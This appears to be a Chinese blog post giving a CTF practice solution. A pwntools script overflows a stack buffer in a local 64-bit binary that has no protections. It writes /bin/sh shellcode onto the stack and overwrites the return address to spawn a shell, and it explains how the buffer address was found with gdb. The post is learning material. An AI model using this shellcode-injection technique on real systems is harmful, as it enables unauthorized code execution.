1_无安全机制_64

64位ubuntu编译 -m32 报错:https://www.cnblogs.com/mliudong/p/4086797.html

和上一个32为的是同一个题,解题思路一样

#!/usr/bin/env pwthon
#coding=utf-8
from pwn import*
context.log_level= "debug"
context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] #适用于自己装其他终端的情况
context(arch='x86_64',os='linux')  #指定系统

local = 1
if local:
    p = process("./pwn")
    elf = ELF("./pwn")
    libc = ELF("./libc.so.6")
else:
    p = remote("")

offset = 64 + 8
#-------------shellcode------------------------
#第一用的是32为的,自己忘了, 后面可以直接利用脚本去写shellcode,
#shellcode = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05" 
shellcode = asm(shellcraft.sh())  #可以直接获取shellcode 也可以自己网上找
print ("[---->:]") + hex(len(shellcode))
print ("[---->shellcode]= ")+(shellcode)
#pop_rdi_offset = 0x00000000004006e3
#jmp_rsp_offset = 0x0000000000002a71
#libc_base = 0x00007ffff7a0d000
#jmp_rsp_addr = libc_base +jmp_rsp_offset 
#pop_rdi_addr = libc_base + pop_rdi_offset 
#payload = "A" * offset
#payload += p64(pop_rdi_addr)
#payload += p64(jmp_rsp_addr)
buf_ret_addr = 0x7fffffffd810
payload = shellcode
payload += "A" * (offset-len(shellcode))
payload += p64(buf_ret_addr)
#gdb.attach(p)
p.sendline(payload)
p.interactive()

注释的地方,将自己的错误都没删除,将自己解题的思路留下,好让自己参考。

解题思路:
将我们的shellcode传入栈里面,然后跳转到buf输入的地方就执行了shellcode。
buf的地址怎么获取?= 用agb.attach(p),动态调试找到stack 100查看出自己shellcode输入的地方即可

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 第一部分 HTML&CSS整理答案 1. 什么是HTML5? 答:HTML5是最新的HTML标准。 注意:讲述HT...
    kismetajun阅读 27,970评论 1 45
  • 背景: 阅读新闻 12C CDB模式下RMAN备份与恢复 [日期:2016-11-29] 来源:Linux社区 作...
    阳屯okyepd阅读 8,983评论 0 7
  • 第 2 章 SHELL 基础知识2.1 shell脚本我们在上面简单介绍了一下什么是shell脚本,现在我们来进一...
    LiWei_9e4b阅读 5,455评论 0 0
  • 却说曹仁亲率大军十万来到新野城外,曹仁乃曹操帐下首位有勇有谋、身经百战的大将,计谋不在曹操之下。在来新野之前,他把...
    木子青学馆阅读 1,872评论 0 0
  • 文章导读:本文主要介绍网络推广方法之同行互推涨粉策略,包括:早上有朋友跟我说,耕耘了一个月的文章,被别的公众号转载...
    花好月圆地阅读 4,427评论 0 0